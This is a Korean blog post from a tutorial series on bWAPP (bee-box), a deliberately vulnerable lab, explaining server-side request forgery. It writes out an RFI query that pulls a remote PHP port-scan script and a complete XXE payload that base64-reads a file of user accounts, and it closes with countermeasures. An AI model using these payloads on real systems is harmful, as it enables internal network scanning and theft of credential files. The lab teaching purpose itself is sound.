본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 11-4. 기능 수준의 접근 통제 누락 [서버측 요청 변조 - SSRF]

by Robert8478 2023. 12. 14.

SSRF(Server Side Request Forgery)란? - 공격자가 요청을 변조해서 취약한 서버가 내부망에 악의적인 요청을 보내게 하는 취약점이다.
RFI를 사용해서 포트를 스캔하거나 XXE(XML External Entry)를 사용해서 내부 망 자원에 접근하거나 XXE를 통해 스마트 TV를 해킹하는 등의 공격을 비박스에서 수행할 수 있다.

[난이도 하]
우선 RFI 취약점으로 비박스 서버 포트를 스캐닝하기 위해 rlfi.php 페이지에서 공격을 시도해볼 것이다.

여기서 사용할 php 코드는 /var/www/evil 안의 ssrf-1.txt를 이용하면 된다. 이는 포트 스캐닝 후 그 결과를 출력하는 PHP 코드이다.
스캔하는 포트를 배열로 선언해서 주로 사용하는 9개의 포트가 열려있는지 확인하는것 같다. 코드를 보면 ip 변수를 받으니 공격시 ip 변수를 추가, 포트 스캐닝할 웹서버의 ip 주소를 넣어주면 될것 같다. 이 파일은 SSRF 페이지의 링크에서도 확인할 수 있다.

?ip=192.168.56.102&language=http://192.168.56.102/evil/ssrf-1.txt&action=go​ 구문을 넣어주었더니 알림창이 하나 출력되고 포트 스캐닝을 한 목록을 페이지에 출력하였다. 이번엔 XML 외부 엔티티를 사용해서 내부 네트워크에 있는 자원에 접근해보자.
XML 문서는 엔티티라는 저장단위로 구성되는데 외부 엔티티를 선언 시 다른 파일의 텍스트를 가져올 수 있는 원리이다.

SQLI Stored 페이지에서 비밀번호 힌트 초기화 요청 버튼을 눌러 버프슈트로 캡쳐하자.

그 뒤 해당 요청을 Send to Repeater 를 이용해 Repeater로 보낸다. sqli_8-2 페이지는 비밀번호 초기화를 위해 변수를 받는 용도의 페이지이다.
Repeater에서 XML 형식으로 선언된 변수 위에 XML 코드를 추가해서 강제로 외부 엔티티를 쓰도록 할것이다.
XML 문서 선언을 위해 DTD(A Document Type Definition)를 사용할 것인데, DTD 내부에 엔티티를 선언하자.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.56.102/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

위와 같은 XML 코드를 작성하고 위 Send 버튼을 눌러주면 우측에 base64 인코딩 구문이 뜨게 된다.
이는 bWAPP라는 이름의 엔티티로 heroes.xml 파일을 php://filter 를 통해 base64로 인코딩한 결과를 출력해 주는 것이다.
엔티티 선언 후 선언한 엔티티 참조를 위해 &bWAPP; 을 변수에 입력하였다.

그리고 패널에 우클릭을 눌러 Show response in browser를 눌러 URL을 복사 후 접속해보자.

그러면 sqli_8-2 페이지는 직접 접근이 안되지만 Base64로 인코딩한 내용을 출력하는 것을 볼 수 있다. 이 값을 복사해서 디코드해보자.

사이트에서 디코드 해 보면 원본의 내용을 확인할 수 있게 된다. 이는 superhero 그룹의 사용자 계정 정보를 저장한 파일이었다.

이 XML 공격 코드는 SSRF 페이지의 링크에서도 확인할 수 있다.

첫번째 XML 코드는 robots.txt를 노출시키는 공격이다.

마지막 공격 코드는 XML 코드로써, 삼성 스마트TV를 공격할 수 있는 SSRF 공격 코드인듯 싶다.

[대응 방안]
요청값 필터링 정도로는 부족하며, SSRF 방어를 위해서는 서버 내부에서 관리 대책을 세워야한다. 사용하는 포트 외에는 모든 포트를 닫고 비정상적인 경로로 접속하거나 비정상 패킷을 보내는 IP주소를 블랙리스트로 설정해서 접근을 막아야하며 내부 망의 방화벽에 시그니처를 설정, 서버에서 잘못된 요청에 대한 응답을 보내지 않도록 방어해야 한다.